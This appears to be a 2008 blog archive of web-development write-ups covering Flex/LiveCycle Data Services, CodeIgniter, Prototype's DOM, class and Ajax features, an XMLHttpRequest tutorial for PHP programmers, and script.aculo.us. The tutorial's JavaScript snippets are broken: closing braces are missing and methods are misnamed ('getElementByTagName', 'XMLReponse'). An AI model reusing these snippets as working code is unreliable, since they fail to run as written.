LiveCycle Data Services (previously called Flex Data Services) is a server-side complement to the main Flex SDK and Flex Builder IDE and is part of a family of server-based products available from Adobe. Deployed as a Java EE application, LiveCycle Data Services adds the following capabilities to Flex applications:

Remoting, which allows Flex client applications to invoke methods on Java server objects directly. Similar to Java remote method invocation (RMI), remoting handles data marshalling automatically and uses a binary data transfer format.
Messaging, which provides the "publish" end of the "publish/subscribe" design pattern. The Flash client can publish events to a topic defined on the server, subscribe to events broadcast from the message service. One of the common use cases for this is real-time streaming of data, such as financial data or system status information.
Data management services, which provides a programming model for automatically managing data sets that have been downloaded to the Flex client. Once data is loaded from the server, changes are automatically tracked and can be synchronized with the server at the request of the application. Clients are also notified if changes to the data set are made on the server.
PDF document generation, providing APIs for generating PDF documents by merging client data or graphics with templates stored on the server.

BlazeDS

Previously available only as part of Adobe LiveCycle Data Services ES, Adobe is announcing its plans to contribute the proven BlazeDS technologies to the community under the LGPL v3. BlazeDS gives the rapidly growing Adobe developer community free access to the powerful remoting and messaging technologies developed by Adobe.

Concurrent with this pre-release of BlazeDS, Adobe is publishing the AMF binary data protocol specification, on which the BlazeDS remoting implementation is based, and is committed to partnering with the community to make this protocol available for every major server platform. The source code will be available for download early 2008.

Flex and ColdFusion

Flex 2 offers special integration with ColdFusion MX 7. The ColdFusion MX 7.0.2 release adds updated Flash Remoting to support ActionScript 3, a Flex Data Services event gateway, and the Flex Data Services assembler. Flex Builder 2 also adds extensions for ColdFusion providing a set of wizards for RAD Flex development. A subset of Flex 1.5 is also embedded into ColdFusion MX 7 middleware platform, for use in the ColdFusion Flash forms feature. It is possible to use this framework to write rich internet applications, although its intended purpose is for rich forms only.

Flex Application Development Process

Everything below is directly sourced from the help file in version 2.0 Beta 3:

Define an application interface using a set of pre-defined components (forms, buttons, and so on)
Arrange components into a user interface design
Use styles and themes to define the visual design
Add dynamic behavior (one part of the application interacting with another, for example)
Define and connect to data services as needed
Build the source code into an SWF file that runs in the Flash Player

Release history

Flex 1.0 - March 2004
Flex 1.5 - October 2004
Flex 2.0 (Alpha) - October 2005
Flex 2.0 Beta 1 - February 2006
Flex 2.0 Beta 2 - March 2006
Flex 2.0 Beta 3 - May 2006
Flex 2.0 Final- June 28, 2006
Flex 2.0.1 - January 5, 2007
Flex 3.0 Beta 1 - June 11, 2007
Flex 3.0 Beta 2 - October 1, 2007
Flex 3.0 Beta 3 - December 12, 2007
Flex 3.0 - February 25, 2008

Notable sites using Flex

Notable sites using Flex include:

Pikeo online photo sharing
Amsterdam-Schiphol Airport
Sherwin-Williams Color Visualizer
Sony Ericsson Product Catalog
Yahoo! Messenger for the Web

CodeIgniter

2008-05-09T14:50:00.001+05:30

CodeIgniter - Open source PHP web application framework

CodeIgniter is an Application Framework

CodeIgniter is a toolkit for people who build web application using PHP. Its goal is to enable you to develop projects much faster than you could if you were writing code from scratch, by providing a rich set of libraries for commonly needed tasks, as well as a simple interface and logical structure to access these libraries. CodeIgniter lets you creatively focus on your project by minimizing the amount of code needed for a given task.

CodeIgniter is Free

CodeIgniter is licensed under an Apache/BSD-style open source license so you can use it however you please. For more information please read the license agreement.

CodeIgniter Runs on PHP 4

CodeIgniter is written to be compatible with PHP 4. Although we would have loved to take advantage of the better object handling in PHP 5 since it would have simplified some things we had to find creative solutions for (looking your way, multiple inheritance), at the time of this writing PHP 5 is not in widespread use, which means we would be alienating most of our potential audience. Major OS vendors like RedHat are moving slowly to support PHP 5, and they are unlikely to do so in the short term, so we felt that it did not serve the best interests of the PHP community to write CodeIgniter in PHP 5.

Note: CodeIgniter will run on PHP 5. It simply does not take advantage of any native features that are only available in that version.

CodeIgniter is Light Weight

Truly light weight. The core system requires only a few very small libraries. This is in stark contrast to many frameworks that require significantly more resources. Additional libraries are loaded dynamically upon request, based on your needs for a given process, so the base system is very lean and quite fast.

CodeIgniter is Fast

Really fast. We challenge you to find a framework that has better performance than CodeIgniter.

CodeIgniter Uses M-V-C

CodeIgniter uses the Model-View-Controller approach, which allows great separation between logic and presentation. This is particularly good for projects in which designers are working with your template files, as the code these file contain will be minimized. We describe MVC in more detail on its own page.

CodeIgniter Generates Clean URLs

The URLs generated by CodeIgniter are clean and search-engine friendly. Rather than using the standard "query string" approach to URLs that is synonymous with dynamic systems, CodeIgniter uses a segment-based approach:

www.your-site.com/news/article/345

Note: By default the index.php file is included in the URL but it can be removed using a simple .htaccess file.

CodeIgniter Packs a Punch

CodeIgniter comes with full-range of libraries that enable the most commonly needed web development tasks, like accessing a database, sending email, validating form data, maintaining sessions, manipulating images, working with XML-RPC data and much more.

CodeIgniter is Extensible

The system can be easily extended through the use of plugins and helper libraries, or through class extensions or system hooks.

CodeIgniter Does Not Require a Template Engine

Although CodeIgniter does come with a simple template parser that can be optionally used, it does not force you to use one. Template engines simply can not match the performance of native PHP, and the syntax that must be learned to use a template engine is usually only marginally easier than learning the basics of PHP. Consider this block of PHP code:

Contrast this with the pseudo-code used by a template engine:

<ul>

{foreach from=$addressbook item="name"}

<li>{$name}</li>

{/foreach}

</ul>

Yes, the template engine example is a bit cleaner, but it comes at the price of performance, as the pseudo-code must be converted back into PHP to run. Since one of our goals is maximum performance, we opted to not require the use of a template engine.

CodeIgniter is Thoroughly Documented

Programmers love to code and hate to write documentation. We're no different, of course, but since documentation is as important as the code itself, we are committed to doing it. Our source code is extremely clean and well commented as well.

CodeIgniter has a Friendly Community of Users

Our growing community of users can be seen actively participating in our Community Forums.

click here for the CodeIgniter User Guide

Prototype JavaScript framework

2008-05-09T14:27:00.002+05:30

Prototype is a JavaScript Framework that aims to ease development of dynamic web applications.

Featuring a unique, easy-to-use toolkit for class-driven development and the nicest Ajax library around, Prototype is quickly becoming the codebase of choice for web application developers everywhere.

How Prototype extends the DOM

The biggest part of the Prototype framework are its DOM extensions. Prototype adds many convenience methods to elements returned by the $() function: for instance, you can write $('comments').addClassName('active').show() to get the element with the ID 'comments', add a class name to it and show it (if it was previously hidden). The 'comments' element didn't have those methods in native JavaScript; how is this possible? This document reveals some clever hacks found in Prototype.

The Element.extend() method

Most of the DOM methods are encapsulated by the Element.Methods object and then copied over to the Element object (for convenience). They all receive the element to operate with as the first parameter:


Element.hide('comments'); 
var div_height = Element.getHeight(my_div); 
Element.addClassName('contactform', 'pending');

These examples are concise and readable, but we can do better. If you have an element to work with, you can pass it through Element.extend() and it will copy all those methods directly to the element. Example, to create an element and manipulate it:


var my_div = document.createElement('div'); 
Element.extend(my_div); 
my_div.addClassName('pending').hide(); 
// insert it in the document 
document.body.appendChild(my_div);

Our method calls just got shorter and more intuitive! As mentioned before, Element.extend() copies all the methods from Element.Methods to our element which automatically becomes the first argument for all those functions. The extend() method is smart enough not to try to operate twice on the same element. What's even better, **the dollar function $() extends every element passed through it** with this mechanism.

In addition, Element.extend() also applies Form.Methods to FORM elements and Form.Element.Methods to INPUT, TEXTAREA and SELECT elements:


var contact_data = $('contactform').serialize(); 
var search_terms = $('search_input').getValue();

Note that not only the dollar function automatically extends elements! Element.extend() is also called in document.getElementsByClassName, Form.getElements, on elements returned from the $$() function (elements matching a CSS selector) and other places - in the end, chances are you will rarely need to explicitly call Element.extend() at all.

Adding your own methods with Element.addMethods()

If you have some DOM methods of your own that you'd like to add to those of Prototype, no problem! Prototype provides a mechanism for this, too. Suppose you have a bunch of functions encapsulated in an object, just pass the object over to Element.addMethods():


var MyUtils = { 
    truncate: function(element, length){ 
        element = $(element); 
        return element.update(element.innerHTML.truncate(length)); 
    }, 
    updateAndMark: function(element, html){ 
        return $(element).update(html).addClassName('updated'); 
    } 
} 
Element.addMethods(MyUtils); 
// now you can: 
$('explanation').truncate(100);

The only thing to watch out here is to make sure the first argument of these methods is the element itself. In your methods, you can also return the element in the end to allow for chainability (or, as practiced in the example, any method which itself returns the element).

Native extensions

There is a secret behind all this.

In browsers that support adding methods to prototype of native objects such as HTMLElement all DOM extensions on the element are available by default without ever having to call Element.extend(), dollar function or anything! This will then work in those browsers:


var my_div = document.createElement('div'); 
my_div.addClassName('pending').hide(); 
document.body.appendChild(my_div);

Because the prototype of the native browser object is extended, all DOM elements have Prototype extension methods built-in. This, however, isn't true for IE which doesn't let anyone touch HTMLElement.prototype. To make the previous example work in IE you would have to extend the element with Element.extend(). Don't worry, the method is smart enough not to extend an element more than once.

Because of browsers that don't support this you must take care to use DOM extensions only on elements that have been extended. For instance, the example above works in Firefox and Opera, but add Element.extend(my_div) after creating the element to make the script really solid. You can use the dollar function as a shortcut like in the following example:


// this will error out in IE: 
$('someElement').parentNode.hide() 
// to make it cross-browser: 
$($('someElement').parentNode).hide()

Don't forget about this! Always test in all the browsers you plan to support.

Defining classes and inheritance

In the early versions of Prototype, the framework came with basic support for class creation: the Class.create() method. Until now the only feature of classes defined this way was that the constructor called a method called initialize automatically. Prototype 1.6.0 now comes with inheritance support through the Class module, which has taken several steps further since the last version; you can make richer classes in your code with more ease than before.

The cornerstone of class creation in Prototype is still the Class.create() method. With the new version of the framework, your class-based code will continue to work as before; only now you don't have to work with object prototypes directly or use Object.extend() to copy properties around.

Example

Let's compare the old way and a new way of defining classes and inheritance in Prototype:

/** obsolete syntax **/ 
var Person = Class.create(); 
Person.prototype = { 
  initialize: function(name) { 
    this.name = name; 
  }, 
  say: function(message) { 
    return this.name + ': ' + message; 
  } 
}; 
var guy = new Person('Miro'); 
guy.say('hi'); 
// -> "Miro: hi" 

var Pirate = Class.create(); 
// inherit from Person class: 
Pirate.prototype = Object.extend(new Person(), { 
  // redefine the speak method 
say: function(message) { 
    return this.name + ': ' + message + ', yarr!'; 
  } 
}); 
var john = new Pirate('Long John'); 
john.say('ahoy matey'); 
// -> "Long John: ahoy matey, yarr!"

Observe the direct interaction with class prototypes and the clumsy inheritance technique using Object.extend. Also, with Pirate redefining the say() method of Person, there is no way of calling the overridden method like you can do in programming languages that support class-based inheritance.

This has changed for the better. Compare the above with:

/** new, preferred syntax **/ 
// properties are directly passed to `create` method 
var Person = Class.create({ 
  initialize: function(name) { 
    this.name = name; 
  }, 
  say: function(message) { 
    return this.name + ': ' + message; 
  } 
}); 
// when subclassing, specify the class you want to inherit from 
var Pirate = Class.create(Person, { 
  // redefine the speak method 
say: function($super, message) { 
    return $super(message) + ', yarr!'; 
  } 
}); 
var john = new Pirate('Long John'); 
john.say('ahoy matey'); 
// -> "Long John: ahoy matey, yarr!"

You can see how both class and subclass definitions are shorter because you don't need to hack their prototypes directly anymore. We have also demonstrated another new feature: the "supercall", or calling the overridden method (done with special keyword super in the Ruby language) in Pirate#say.

How to mix-in modules

So far you have seen the general way of calling Class.create.

var Pirate = Class.create(Person, { /* instance methods */ });

But in fact, Class.create takes in an arbitrary number of arguments. The first—if it is another class—defines that the new class should inherit from it. All other arguments are added as instance methods; internally they are subsequent calls to addMethods (see below). This can conveniently be used for mixing in modules:

// define a module 
var Vulnerable = { 
  wound: function(hp) { 
    this.health -= hp; 
    if (this.health < 0) this.kill(); 
  }, 
  kill: function() { 
    this.dead = true; 
  } 
}; 
// the first argument isn't a class object, so there is no inheritance ... 
// simply mix in all the arguments as methods: 
var Person = Class.create(Vulnerable, { 
  initialize: function() { 
    this.health = 100; 
    this.dead = false; 
  } 
}); 
var bruce = new Person; 
bruce.wound(55); 
bruce.health; //-> 45

The $super argument in method definitions

When you override a method in a subclass, but still want to be able to call the original method, you will need a reference to it. You can obtain that reference by defining those methods with an extra argument in the front: $super. Prototype will detect this and make the overridden method available to you through that argument. But, from outside world the Pirate#say method still expects a single argument; this implementation detail doesn't affect how your code interacts with the objects.

Types of inheritance in programming languages

Generally we distinguish between class-based and prototypal inheritance, the latter being specific to JavaScript. While upcoming JavaScript 2.0 will support true class definitions, current versions of the JavaScript language implemented in modern browsers are restricted to prototypal inheritance.

Prototypal inheritance, of course, is a very useful feature of the language, but is often too verbose when you are actually creating your objects. This is why we are emulating class-based inheritance (like in the Ruby language) through prototypal inheritance internally. This has certain implications. For instance, in PHP you can define the inital values for instance variables:

class Logger {    
 public $log = array();      
 function write($message) {      
  $this->log[] = $message;    
 }  
}
$logger = new Logger;  
$logger->write('foo');  
$logger->write('bar');  
$logger->log; // -> ['foo', 'bar']

We can try to do the same in Prototype:

var Logger = Class.create({ 
  initialize: function() { }, 
  log: [], 
  write: function(message) { 
    this.log.push(message); 
  } 
}); 
var logger = new Logger; 
logger.log; // -> [] 
logger.write('foo'); 
logger.write('bar'); 
logger.log; // -> ['foo', 'bar']

It works. But what if we make another instance of Logger?

var logger2 = new Logger; 
logger2.log; // -> ['foo', 'bar'] 

// ... hey, the log should have been empty!

You can see that, although some of you expected an empty array in the new instance, we have the same array as the previous logger. In fact, all logger objects will share the same array object because it is copied by reference, not by value. The correct way is to initialize your instances to default values:

var Logger = Class.create({ 
  initialize: function() { 
    // this is the right way to do it: 
this.log = []; 
  }, 
  write: function(message) { 
    this.log.push(message); 
  } 
});

Defining class methods

There is no special support for class methods in Prototype 1.6.0. Simply define them on your existing classes:

Pirate.allHandsOnDeck = function(n) { 
  var voices = []; 
  n.times(function(i) { 
    voices.push(new Pirate('Sea dog').say(i + 1)); 
  }); 
  return voices; 
} 
Pirate.allHandsOnDeck(3); 
// -> ["Sea dog: 1, yarr!", "Sea dog: 2, yarr!", "Sea dog: 3, yarr!"]

If you need to define several at once, simply use Object.extend as before:

Object.extend(Pirate, { 
  song: function(pirates) { ... }, 
  sail: function(crew) { ... }, 
  booze: ['grog', 'rum'] 
});

When you inherit from Pirate, the class methods are not inherited. This feature may be added in future versions of Prototype. Until then, copy the methods manually, but not like this:

var Captain = Class.create(Pirate, {}); 
// this is wrong! 
Object.extend(Captain, Pirate);

Class constructors are Function objects and it will mess them up if you just copy everything from one to another. In the best case you will still end up overriding subclasses and superclass properties on Captain, which is not good.

Special class properties

Prototype 1.6.0 defines two special class properties: subclasses and superclass. Their names are self-descriptive: they hold references to subclasses or superclass of the current class, respectively.

Person.superclass 
// -> null 
Person.subclasses.length 
// -> 1 
Person.subclasses.first() == Pirate 
// -> true 
Pirate.superclass == Person 
// -> true 
Captain.superclass == Pirate 
// -> true 
Captain.superclass == Person 
// -> false

These properties are here for easy class introspection.

Adding methods on-the-fly with Class#addMethods()

Class#addMethods was named Class.extend in Prototype 1.6 RC0.
Please update your code accordingly.

Imagine you have an already defined class you want to add extra methods to. Naturally, you want those methods to be instantly available on subclasses and every existing instance in the memory! This is accomplished by injecting a property in the prototype chain, and the safest way to do it with Prototype is to use Class#addMethods:

var john = new Pirate('Long John'); 
john.sleep(); 
// -> ERROR: sleep is not a method 

// every person should be able to sleep, not just pirates! 
Person.addMethods({ 
  sleep: function() { 
    return this.say('ZzZ'); 
  } 
}); 
john.sleep(); 
// -> "Long John: ZzZ, yarr!"

The sleep method was instantly available not only on new Person instances, but on its subclasses and existing instances currently in memory.

Introduction to Ajax

2008-05-09T14:10:00.001+05:30

Introduction to Ajax

Last updated on February 24th, 2007

Prototype framework enables you to deal with Ajax calls in a very easy and fun way that is also safe (cross-browser). Besides simple requests, this module also deals in a smart way with JavaScript code returned from a server and provides helper classes for polling.

Ajax functionality is contained in the global Ajax object. The transport for Ajax requests is xmlHttpRequest, with browser differences safely abstracted from the user. Actual requests are made by creating instances of the Ajax.Request object.

new Ajax.Request('/some_url', { method:'get' });

The first parameter is the URL of the request; the second is the options hash. The method option refers to the HTTP method to be used; default method is POST.

Remember that for security reasons (that is preventing cross-site scripting attacks) Ajax requests can only be made to URLs of the same protocol, host and port of the page containing the Ajax request. Some browsers might allow arbitrary URLs, but you shouldn't rely on support for this.

Ajax response callbacks

Ajax requests are by default asynchronous, which means you must have callbacks that will handle the data from a response. Callback methods are passed in the options hash when making a request:


new Ajax.Request('/some_url', 
  { 
    method:'get', 
    onSuccess: function(transport){ 
      var response = transport.responseText || "no response text"; 
      alert("Success! \n\n" + response); 
    }, 
    onFailure: function(){ alert('Something went wrong...') } 
  });

Here, two callbacks are passed in the hash that alert of either success or failure; onSuccess and onFailure are called accordingly based on the status of the response. The first parameter passed to both is the native xmlHttpRequest object from which you can use its responseText and responseXML properties, respectively.

You can specify both callbacks, one or none - it's up to you. Other available callbacks are:

onUninitialized,
onLoading,
onLoaded,
onInteractive,
onComplete and
onException.

They all match a certain state of the xmlHttpRequest transport, except for onException which fires when there was an exception while dispatching other callbacks.

Also available are onXXX callbacks, where XXX is the HTTP response status like 200 or 404. Be aware that, when using those, your onSuccess and onFailure won't fire because onXXX takes precedence, therefore using these means you know what you're doing.

The onUninitialized, onLoading, onLoaded, and onInteractive callbacks are not implemented consistently by all browsers. In general, it's best to avoid using these.

Parameters and the HTTP method

You can pass the parameters for the request as the parameters property in options:


new Ajax.Request('/some_url', { 
  method: 'get', 
  parameters: {company: 'example', limit: 12} 
  });

Parameters are passed in as a hash (preferred) or a string of key-value pairs separated by ampersands (like company=example&limit=12).

You can use parameters with both GET and POST requests. Keep in mind, however, that GET requests to your application should never cause data to be changed. Also, browsers are less likely to cache a response to a POST request, but more likely to do so with GET.

One of the primary applications for the parameters property is sending the contents of a FORM with an Ajax request, and Prototype gives you a helper method for this, called Form.serialize:


new Ajax.Request('/some_url', { 
  parameters: $('id_of_form_element').serialize(true) 
  });

If you need to push custom HTTP request headers, you can do so with the requestHeaders option. Just pass name-value pairs as a hash or in a flattened array, like: ['X-Custom-1', 'value', 'X-Custom-2', 'other value'].

If, for some reason, you have to POST a request with a custom post body (not parameters from the parameters option), there is a postBody option exactly for that. Be aware that when using postBody, parameters passed will never be posted because postBody takes precedence as a body - using the option means you know what you're doing.

Evaluating a JavaScript response

Sometimes the application is designed to send JavaScript code as a response. If the content type of the response matches the MIME type of JavaScript then this is true and Prototype will automatically eval() returned code. You don't need to handle the response explicitly if you don't need to.

Alternatively, if the response holds a X-JSON header, its content will be parsed, saved as an object and sent to the callbacks as the second argument:


new Ajax.Request('/some_url', { method:'get', 
  onSuccess: function(transport, json){ 
      alert(json ? Object.inspect(json) : "no JSON object"); 
    } 
  });

Use this functionality when you want to fetch non-trivial data with Ajax but want to avoid the overhead of parsing XML responses. JSON is much faster (and lighter) than XML.

Global responders

There is an object that is informed about every Ajax request: Ajax.Responders. With it, you can register callbacks that will fire on a certain state of any Ajax.Request issued:


Ajax.Responders.register({ 
  onCreate: function(){ 
    alert('a request has been initialized!'); 
  }, 
  onComplete: function(){ 
    alert('a request completed'); 
  } 
});

Every callback matching an xmlHttpRequest transport state is allowed here, with an addition of onCreate. Globally tracking requests like this can be useful in many ways: you can log them for debugging purposes using a JavaScript logger of your choice or make a global exception handler that informs the users of a possible connection problem.

Updating your page dynamically with Ajax.Updater

Developers often want to make Ajax requests to receive HTML fragments that update parts of the document. With Ajax.Request with an onComplete callback this is fairly easy, but with Ajax.Updater it's even easier!

Suppose you have this code in your HTML document:


<h2>Our fantastic products</h2> 
<div id="products">(fetching product list ...)</div>

The 'products' container is empty and you want to fill it with HTML returned from an Ajax response. No problem:

new Ajax.Updater('products', '/some_url', { method: 'get' });

That's all, no more work. The arguments are the same of Ajax.Request, except there is the receiver element in the first place. Prototype will automagically update the container with the response using the Element.update() method.

If your HTML comes with inline scripts, they will be stripped by default. You'll have to pass true as the evalScripts option in order to see your scripts being executed.

But what if an error occurs, and the server returns an error message instead of HTML? Often you don't want insert errors in places where users expected content. Fortunately, Prototype provides a convenient solution: instead of the actual container as the first argument you can pass in a hash of 2 different containers in this form: { success:'products', failure:'errors' }. Content will be injected in the success container if all went well, but errors will be written to the failure container. By using this feature your interfaces can become much more user-friendly.

You might also choose not to overwrite the current container contents, but insert new HTML on top or bottom like you would do with Insertion.Top or Insertion.Bottom. Well, you can. Just pass the insertion object as the insertion parameter to Ajax:


new Ajax.Updater('products', '/some_url', { 
  method: 'get', 
  insertion: Insertion.Top 
  });

Ajax.Updater will use the given object to make the insertion of returned HTML in the container ('products') element. Nifty.

Automate requests with the Ajax.PeriodicalUpdater

You find the Ajax.Updater cool, but want to run it in periodical intervals to repeatedly fetch content from the server? Prototype framework has that, too - it's called Ajax.PeriodicalUpdater, and basically it's running Ajax.Updater at regular intervals.


new Ajax.PeriodicalUpdater('products', '/some_url', 
  { 
    method: 'get', 
    insertion: Insertion.Top, 
    frequency: 1, 
    decay: 2 
  });

Two new options here are frequency and decay. Frequency is the interval in seconds at which the requests are to be made. Here, it's 1 second, which means we have an Ajax request every second. The default frequency is 2 seconds. Our users might be happy because the responsiveness of the application, but our servers might be taking quite a load if enough people leave their browsers open on the page for quite some time. That's why we have the decay option - it is the factor by which the frequency is multiplied every time when current response body is the same as previous one. First Ajax request will then be made in 1 second, second in 2, third in 4 seconds, fourth in 8 and so on. Of course, if the server always returns different content, decay will never take effect; this factor only makes sense when your content doesn't change so rapidly and your application tends to return the same content over and over.

Having frequency falloff can take the load off the servers considerably because the overall number of requests is reduced. You can experiment with this factor while monitoring server load, or you can turn it off completely by passing 1 (which is default) or simply omitting it.

Move along

Learn more about Ajax.Request, Ajax.Updater and Ajax options.

XMLHttpRequest and AJAX for PHP programmers

2008-05-09T14:09:00.002+05:30

Introduction:

Although the concept isn't entirely new, XMLHttpRequest technology is implemented on more sites now than ever. Compatibility is no longer an issue (IE, Mozilla and Opera all support it), and the benefits to using it are amazing. There are too many PHP programmers avoiding any work with javascript beyond simple form validation, and for good reason. It's difficult to keep several languages proficiently under your belt. But using the XMLHttpRequest object is not as hard as everybody thinks, and you don't need to buy and memorize another reference manual.

Let's Get To It!

Asynchronous JavaScript and XML, or AJAX is a method of sending and receiving data (usually XML) from a server-side application through javascript. Since javascript offers the ability to change the contents of a web page on-the-fly, this technique allows web programmers to venture closer to programming truly interactive web applications similar to those built with Java and ActiveX.

As PHP developers, it might seem tempting to avoid the use of Javascript and leave it to the dsigner. After all, we aren't usually programming the UI, but the processing components required by the UI. The distinction between the two is disappearing. Here's a simple diagram that demonstrates just how AJAX works:

If you're working for a small or medium sized company interested in implementing AJAX solutions, you might end up responsible for figuring out how.

XMLHttpRequest objects can be a simple way of getting data to and from a PHP application while keeping your client right at home on the same page. Our example today will allow a user to select a specific piece of software that your company makes. We will show a selection box with several categories. When a user selects a category, a request is sent to a PHP application which returns a list of applicable software. The information is used to generate a list of the results underneath the selection box. Since the information is not loaded with the initial page, your company saves bandwidth, and because the user doesn't have to bounce from page to page for results, he will find your company's page more inviting and faster to load.

Javascript for PHP Programmers

Since we'll be working with Javascript, it's good to get a basic tutorial given a background in PHP.

Variables:

Variables in javascript are declared in much the same was as in PHP. To declare a variable in javascript, use the following:

[javascript code]

var varname = varvalue; //Declaring your variable is not mandatory, but good practice.

Variables:

Variable types are handled loosely, as they are in PHP.

Control Structures:

PHP and javascript have a very similar way of using these as well... You can use if/else statements, switch statements, for and while loops and nested loops all with PHP syntax. If/elseif/else statements are a little different, but not much:

[javascript code]

var variable1 = 1; //Declare a variable.

if(variable1 == 1){

        // Increment variable value by 1

        variable1++;

        /* The following brings up a message box, a handy way of checking variable values as you

                               go. Be careful not to use these in loops that are too long. */

        alert(variable1);

}else if(variable1 == 2){ //Elseif's in javascript require a space between the else and if.

        for(i=0;i<20;i++){ //For loop.

               variable1++;

        switch(variable1){ //Switch conditional

               case 22:

                       alert("variable 1 has value of 22!");

                       break;

               default:

                       alert("didn't have value of 22!");

                       break;

}else{

        alert('The final else statement');

Functions

To declare a function in javascript, use the following:

[javascript code]

function functioname(argument1, argument2, argument3){

        /* Arguments not provided will be null */

        if(argument3 == null){

               return argument1 + argument2

        }else{

               return argument1 + argument2 + argument3

/* And call it with */

alert(functionname(1, 2)); //returns 3

/* or */

alert(functionname(1, 2, 3)); //returns 6

Other than the difference with default values for optional arguments, you should assign a default when a passed argument has a null value.

Using Javascript in a Document:

Javascript can be included in your document in two ways, similar to CSS inclusion:

[HTML code]

<!--Placing your javascript in the head tag of your html document is the standard-->

<script language="javascript" type="text/javascript" src="./javascript_file.js"></script>

<script language="javascript" type="text/javascript">

        /*Javscript code goes in here*/

        alert("Hello World!");

</script>

The first way is to link to the file directly, and the second is to include it on the page itself. If your code is getting long and is used on multiple pages, it is preferable to use the first method, as the browser will cache the file for future use. And that's all you need to know about Javascript to continue.

Developing the Initial Page

Below we're going to be creating the page the user loads to view your companies products.

[HTML code]

<html>

        <head>

               <title>CompanyXYZ Software</title>

               <script language="javascript" type="text/javascript"

                       src="./internal_request.js">

               </script>

        </head>

        <body>

               <div id="product_categories">

                       <!--Category selection box...-->

                       <form name="form_category_select">

                               <select>

                                      <option>Audio</option>

                                      <option>Games</option>

                                      <option>Internet</option>

                               </select>

                       </form>

               </div>

               <div id="product_cage">

                       <!--This is where we'll be displaying the products once they're loaded-->

                       ^ Please select a category from above.

               </div>

        </body>

</html>

The above HTML first links to a javascript file, internal_request.js, and displays a page with two <div> tags, the second of which is where we'll be displaying our data. Go ahead and copy the above code into a file called products.html.

Creating the XMLHttpRequest Object

The XMLHttpRequest object works differently in Internet Explorer and Mozilla-like browsers. To create an XMLHttpRequest object in IE, the following can be used:

[javascript code]

var request_o = new ActiveXObject("Microsoft.XMLHTTP");

And the following works for supporting browsers other than IE:

[javascript code]

var request_o = new XMLHttpRequest();

Determining what browser you are working with and creating the appropriate object is simple:

[javascript code]

/* The following function creates an XMLHttpRequest object... */

function createRequestObject(){

        var request_o; //declare the variable to hold the object.

        var browser = navigator.appName; //find the browser name

        if(browser == "Microsoft Internet Explorer"){

               /* Create the object using MSIE's method */

               request_o = new ActiveXObject("Microsoft.XMLHTTP");

        }else{

               /* Create the object using other browser's method */

               request_o = new XMLHttpRequest();

        return request_o; //return the object

/* You can get more specific with version information by using

        parseInt(navigator.appVersion)

        Which will extract an integer value containing the version

        of the browser being used.

*/

Copy the above code into a file called internal_request.js, located in the same directory as the products.html file.
We now have a function that will create an XMLHttpRequest object in internal_request.js, and we have an HTML file that calls upon the code in internal_request.js. Remember how we left the product selection <div> in products.html blank? Let's write the code that utilizes our createRequestObject function to get the list of products.

[javascript code]

/* The variable http will hold our new XMLHttpRequest object. */

var http = createRequestObject();

/* Function called to get the product categories list */

function getProducts(){

        /* Create the request. The first argument to the open function is the method (POST/GET),

               and the second argument is the url...

               document contains references to all items on the page

               We can reference document.form_category_select.select_category_select and we will

               be referencing the dropdown list. The selectedIndex property will give us the

               index of the selected item.

*/

        http.open('get', 'internal_request.php?action=get_products&id='

                       + document.form_category_select.select_category_select.selectedIndex);

        /* Define a function to call once a response has been received. This will be our

               handleProductCategories function that we define below. */

        http.onreadystatechange = handleProducts;

        /* Send the data. We use something other than null when we are sending using the POST

               method. */

        http.send(null);

/* Function called to handle the list that was returned from the internal_request.php file.. */

function handleProducts(){

        /* Make sure that the transaction has finished. The XMLHttpRequest object

               has a property called readyState with several states:

               0: Uninitialized

               1: Loading

               2: Loaded

               3: Interactive

               4: Finished */

        if(http.readyState == 4){ //Finished loading the response

               /* We have got the response from the server-side script,

                       let's see just what it was. using the responseText property of

                       the XMLHttpRequest object. */

               var response = http.responseText;

               /* And now we want to change the product_categories <div> content.

                       we do this using an ability to get/change the content of a page element

                       that we can find: innerHTML. */

               document.getElementById('product_cage').innerHTML = response;

The above code should be appended to what you already have in the internal_request.js file.

Conclusion

We'll followup with the rest of this informative article next week, so be sure to visit us again for the conclusion! btw, don't miss the important Quick Tips listed below!

Quick Tip 1: (Using the POST method instead of GET):

The following will send the request to the PHP file using the POST method:

        http.abort;

        http.open('post',  'back_end.php');

        http.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

        http.send('arg1=val1&arg2=val2&arg3=val3');

Quick Tip 2: (Parsing XML results):

If you're receiving XML instead plain-text results from your processing PHP script, you can use the javascript DOM to parse them. Suppose you receive the following:

        <product_list>

               <product id="1">

                       <name>EeasySMS</name>

                       <version>2.2</version>

               </product>

               <product id="2">

                       <name>BabyMon</name>

                       <version>1.2</version>

               </product>

        </product_list>

To receive a DOM compatible response from our XMLHttpRequest object, instead of using the responseText property, substitute the responseXML property. In this case we'll refer to it by assigning it the variable XMLResponse.

The product_list element contains two elements of interest: product elements. In order to get to these, we can use the following:

/* Reference the product_list element to the variable product_list */

product_list = XMLReponse.getElementByTagName('product_id');

/* By substituting product_list for XMLResponse, we will be searching

        only the product_list element, not the entire response

        We also use getElementsByTagName, not getElementByTagName,

        since we are interested in all of the results, not just one. */

product_id = XMLResponse.getElementsByTagName('product');

/* getElementsByTagName produces an array, which we can access  like this:

        product_id[n], the same way we access an array item in PHP.

        Let's get the id attribute from the product elements like this: */

for(i=0; i<product_id.length; i++){ //length is the same as count($array)

        id = product_id[i].getAttribute('id') //Grabs the id attribute.

        /* To get the text from within a text node, we use firstChild.data

               for the corresponding element. */

        name = product_id[i].getElementByTagName('name').firstChild.data;

        version = product_id[i].getElementByTagName('version').firstChild.data;

This may seem like a bit to work with at first, but with a little work, you can get what you want to work. If you want to avoid this, you could use the responseText method, parsing the XML in PHP before sending it to the XMLHttpRequest object.

Quick Tip 3: (Relevant Links):

script.aculo.us

2008-05-09T13:53:00.002+05:30

script.aculo.us Web 2.0 JavaScript

script.aculo.us is a set of JavaScript libraries to enhance the user interface of web sites. It provides an visual effects engine, a drag and drop library (including sortable lists), a couple of controls (Ajax-based autocompletion, in-place editing, sliders) and more. Be sure to have a look at the demos!

Help port the old, dead wiki to github and earn BIG BROWNIE POINTS! You can find a copy of the old wiki contents at http://script.aculo.us/docs. See some helpful hints for porting, and please follow the style guide!

API Documentation and Reference

This wiki details Version 1.8.1 of the library, which is the most current version of the 1.x trunk of script.aculo.us.

Core Effects: Effect.Highlight, Effect.Morph, Effect.Move, Effect.Opacity, Effect.Scale, Effect.Parallel

